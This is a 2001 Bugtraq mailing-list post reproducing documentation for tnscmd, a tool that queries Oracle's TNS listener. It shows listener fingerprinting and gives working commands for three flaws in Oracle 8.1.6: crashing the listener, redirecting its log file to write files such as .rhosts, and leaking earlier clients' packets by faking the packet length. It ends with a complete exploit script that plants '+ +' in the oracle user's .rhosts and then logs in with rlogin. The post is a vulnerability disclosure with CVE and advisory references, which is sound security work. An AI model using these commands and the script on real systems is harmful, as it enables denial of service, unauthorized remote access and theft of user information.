[20474] in bugtraq
Re: Oracle8 denial of service
daemon@ATHENA.MIT.EDU (James W. Abendschan)
Fri Apr 27 01:39:37 2001
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID: <Pine.LNX.4.30.0104261305450.25412-100000@nimue.int.jammed.com>
Date: Thu, 26 Apr 2001 13:14:41 -0700
Reply-To: "James W. Abendschan" <jwa@JAMMED.COM>
From: "James W. Abendschan" <jwa@JAMMED.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: <5.0.2.1.0.20010426135050.01a98848@127.0.0.1>
On Wed, 25 Apr 2001, Guy Poizat wrote:
> > >It works against Oracle 8.0.5 running on linux as
> > >well...
> > >
> > >Tib
> >
> > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried.
I finally got around to documenting the bugs I was able to find back
in October (DoS; write files wherever tnslsnr has write privs [ie, .rhosts];
packet leaking). I'd be interested to know what other versions of Oracle are
affected by these problems -- I was testing Oracle 8.1.6 for Solaris (sun4u)
at the time.
The most current version of the document is available at:
http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html
I've included it below at the request of Aleph1. I'm interested
in feedback; don't be shy in telling me I've got this all wrong.
James
[1]tnscmd documentation
25 April 2001
[2]jwa@jammed.com
$Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $
I. Intro
tnscmd can be used to speak, on a very simple level, with Oracle's TNS
listener.
The TNS listener (aka tnslsnr) is the network interface between a
database client and the database server. tnslsnr listens on port
1521/tcp, but the DBA can change this (I've seen listeners on port
1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm
and rds2, respectively.
The tnslnsr keeps a spartan log of activity -- spartan in that it
doesn't log a whole lot of useful information. For instance, it
does not log the IP address of TNS sessions.
If you initiate a TCP session to the tnslsnr port, you won't make
much headway; it won't provide a banner and will probably
disconnect if you type something. Don't worry; this is what tnscmd
is for.
II. tnscmd
tnscmd is not even close to a full-blown Oracle client; it simply
talks to the tnslsnr process. tnslsnr will respond to certain
commands such as ping (an application-level no-op), version (dumps
version information about Oracle), status (dumps status about the
listener and database instances), and services (dumps info about
the running services.) Commands are apparently case-insensitive.
Let's say we've found the host oraclebox.example.com listening on
port 1521. It might be running Oracle; how can we tell? the 'ping'
command is a good place to start; tnscmd will issue a 'ping'
command if given no command.
If we want to ping this host to see if it is actually running
tnslsnr, we would type:
unix% tnscmd -h oraclebox.example.com -p 1521
sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
writing 87 bytes
reading
.I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))
Here we see three things:
* the TNS command: (CONNECT_DATA=(COMMAND=ping))
* the raw TNS packet sent to tnslsnr: .W.......6. [ etc ]
* and the raw TNS reply packet from tnslsnr:
.I......"..=(DESCRIPTION=( [etc]
This reply is typical of 'ping' replies; the only thing I've noticed
is VSNNUM=135290880 varies from host to host (yet it's the same on two
different hosts running the same Oracle version). I don't know what
this is.
III. Information gathering
OK, now we've established tnslsnr is running on this host. What else
can we do? There are (at least) three commands that are useful for
information gathering, version, status and services:
unix% tnscmd version -h oraclebox.example.com -p 1521
sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
writing 90 bytes
reading
.M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)).
a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris:
.Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo
r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter
.for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S
olaris:.Version.8.1.6.0.0.-.Production,,.........@
This is pretty straightforward. version reveals the version of
Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,
status is a bit more verbose:
unix% tnscmd status -h oraclebox.example.com -p 1521
sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
writing 89 bytes
reading
.........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880
)(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.
1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/
app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro
[ snipped for brevity ]
Wow, look at all that data. Kind of hard to read, but because it's
all balanced within parens, we can break it up with the --indent
option and make it purty:
unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
We'll get something like:
DESCRIPTION=
TMP=
VSNNUM=135290880
ERR=0
ALIAS=LISTENER
SECURITY=OFF
VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production
START_DATE=01-SEP-2000.18:35:49
SIDNUM=1
LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log
PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora
TRACING=off
UPTIME=2032269835
SNMP=OFF
Note SECURITY=OFF. I believe this indicates whether or not the DBA
has assigned a password to the listener.
Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr
uptime or the host uptime.
Note the path to LOGFILE and PRMFILE. This can give you a good
idea of the filesystem layout.
Other strange oracle stuff:
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0
PRE=ttc
SESSION=NS
DESCRIPTION=
ADDRESS=
PROTOCOL=ipc
KEY=EXTPROC
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0
PRE=ttc
SESSION=NS
DESCRIPTION=
ADDRESS=
PROTOCOL=tcp
HOST=oraclebox.example.com
PORT=1521
ENDPOINT=
HANDLER=
STA=ready
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=0
REFUSED=0
HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0
PRE=giop
SESSION=RAW
DESCRIPTION=
ADDRESS=
PROTOCOL=tcp
HOST=oraclebox.example.com
PORT=2481
.. unanswered question: what's running on port 2481?
PROTOCOL_STACK=
PRESENTATION=GIOP
SESSION=RAW
SERVICE=
SERVICE_NAME=PLSExtProc
INSTANCE=
INSTANCE_NAME=PLSExtProc
NUM=1
INSTANCE_CLASS=ORACLE
NUMREL=1
SERVICE=
SERVICE_NAME=pr01stage
INSTANCE=
INSTANCE_NAME=pr01stage
NUM=1
INSTANCE_CLASS=ORACLE
NUMREL=1
SERVICE=
SERVICE_NAME=rcats
INSTANCE=
INSTANCE_NAME=rcats
NUM=1
INSTANCE_CLASS=ORACLE
NUMREL=1
[ ... ]
The 'services' command outputs still more information:
unix% tnscmd services -h oraclebox.example.com -p 1521 --indent
[ ... ]
SERVICE=
SERVICE_NAME=PLSExtProc
INSTANCE=
INSTANCE_NAME=PLSExtProc
NUM=1
INSTANCE_CLASS=ORACLE
HANDLER=
HANDLER_DISPLAY=DEDICATED.SERVER
STA=ready
HANDLER_INFO=LOCAL.SERVER
HANDLER_MAXLOAD=0
HANDLER_LOAD=0
ESTABLISHED=86
REFUSED=0
HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0
HANDLER_NAME=DEDICATED
ADDRESS=
PROTOCOL=beq
PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc
ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc
'
ARGV0=extprocPLSExtProc
ARGS='
LOCAL=NO
'
NUMREL=1
PROGRAM, ENVS, and ARGV0 are potentially interesting. If the
tnslsnr was started out of an interactive shell, ENVS will contain
the user's environment.
IV. Break stuff
tnslsnr is vulnerable to remote denial-of-service attacks and
potential security issues. According to Oracle, only versions
7.3.4, 8.0.6, and 8.1.6 are affected. I have verified
vulnerabilities under 8.1.6 for Solaris.
IV.1 - DoS:
An unpassworded tnslsnr can also be shut down by sending it a 'stop'
command. Obvious, eh?
"Bad" TNS packets can crash the listener, regardless of whether or
not the DBA has set a password. Sending
tnscmd [badcommand] -h oraclebox.example.com
will SEGV the listener. badcommand can be any one of:
trc_file trc_level use_plugandplay trc_directory snmp_visible log_file
log_status log_directory
IV.2 - write files
Recall the 'log_file' command and the LOGFILE variable returned by
the 'status' command. This is the path to the tnslsnr log file. As
you might imagine, this variable can be changed. If we send this
TNS command (using the --rawcmd option to tnslsnr)
unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC
T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
=LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"
.. then tnslsnr will open with O_APPEND /tmp/floboz and start
logging messages to it. This can be verified by the response
packet:
........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LO
G
FILENAME=/tmp/floboz))
.. or by
unix% tnscmd status -h oraclebox.example.com --indent | grep LOG
Since tnscmd runs as the oracle user, an attacker can write files
anywhere the oracle user can. If an attacker knows the pathname to
a database (can be deduced from the pathnames revealed by tnscmd),
she can clobber the database.
She might, however, chose a more subtle route: either by using
finger or determining the oracle home directory by guesswork
(/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts
or .forward file. While the tnslsnr doesn't log much, it *does*
log bad commands; she can then send a command such as (note the
embedded newlines in the quotes)
unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
+ +
"
.. tnslnsr will log something along the lines of
TNS-01153: Failed to process string:
+ +
NL-00303: syntax error in NV string
into our log file / .rhosts.
IV.3: tns packet leakage
To the best of my knowledge, this bug remains unpatched in Oracle
8.1.7.
By lying about the size of the packet we're sending to the
tnslsnr, we can get the tnslsnr to reveal the contents of previous
packets. We can do this with the --cmdsize option. While any
command will work, we use " " (space) just so we preserve the
original buffer contents as much as possible.
unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
Sending to oraclebox.example.com:1521
Faking command length to 40 bytes
connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
.T.......6.,...............:................4.............(CONNECT_DATA=(COMMA
ND=.))
read
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3
03)(EMFI=1))))
.. that's odd, where did that vices))CONNECT come from? Hey, that
looks familiar... it looks like the services command I just sent
in the last example! But what's with the CONNECT ? CONNECT_DATA
comes at the beginning of the packet; maybe there's another
command here?
unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90
[ ... ]
........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1
)(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))
Apparently tnslsnr doesn't clear the buffer before writing a
packet into it, or maybe it doesn't properly zero-terminate a
string. Whatever is going on inside can be used to our advantage
to harvest more interesting information. Let's go whole-hog and
try it a --cmdsize of 200:
........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E
RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(
SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C
:\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'))
(ERROR=(CODE=303)(EMFI=1))))
(I added the XXX's to balance the packet :) Huh, a pathname, a
hostname, and a username. No passwords, unfortunately -- SQL*net
login is handled in a child process, IIRC -- but a username is a
good place to start. On a busy server, this can potentially reveal
lots of usernames. If the listener is passworded and the DBA
connects, will the password be leaked? hmm.
By playing with the --cmdsize argument, the rest of the "old"
packet(s) will be revealed. Once you've gone past a certain point,
though, you'll just get a TNS error (ERR=1153). It's also not too
hard to write a program to find the optimal values & run it
against a server for a few days ..
V. References:
* [4]CVE entry
* [5]Oracle security alerts
* [6]ISS's advisory
* [7]Oracle Control Utility Reference
* [8]advisory sent to Oracle and CERT on 23 Oct 2000
* [9]tnscmd home
notes
Commands intuited from 'strings `which tnslsnr`':
* investigate spawn command; how to list what commands can be
spawned?
* ping - pings the listener
* debug - dumps debugging info to the listener log
(/u01/app/oracle/product/8.1.6/network/log/listener.log)
* dispatch - ?
* establish - "TNS-12504: TNS:listener was not given the SID in
CONNECT_DATA"
* reload - reloads config file
06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
06-OCT-2000 23:37:03 * service_register * pr01dev * 0
* services - dumps all sorts of chilly data
* save_config - writes config to a backup file. (can this be
specified remotely? hrm)
* trace - needs a "trace level", unsure of the syntax here
* version - pretty output of the installed TNS listener version(s)
* stop - shuts the listener down (on purpose). if the DBA has set
the database up properly, this should not work without a password.
0-day spl01t:
#!/bin/sh
#
# jwa@jammed.com 6 Oct 2000
#
# point the logfile at $HOME/.rhosts
./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/ho
me/oracle/.rhosts)))" -h oraclesvr2
# verify that it worked (this will dump the value of log_file)
./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2
# put arbitrary data into the logfile-- it will look something like this:
#
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:47 * 1153
# TNS-01153: Failed to process string:
# + +
#
# NL-00303: syntax error in NV string
#
./tnscmd --rawcmd "
+ +
" -h oraclesvr2
#
# connect
#
rlogin -l oracle oraclesvr2
References
1. http://www.jammed.com/~jwa/hacks/security/tnscmd
2. mailto:jwa@jammed.com
3. http://www.insecure.org/nmap
4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818"
5. http://otn.oracle.com/deploy/security/alerts.htm
6. http://xforce.iss.net/alerts/advise66.php
7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm
8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt
9. http://www.jammed.com/~jwa/hacks/security/tnscmd/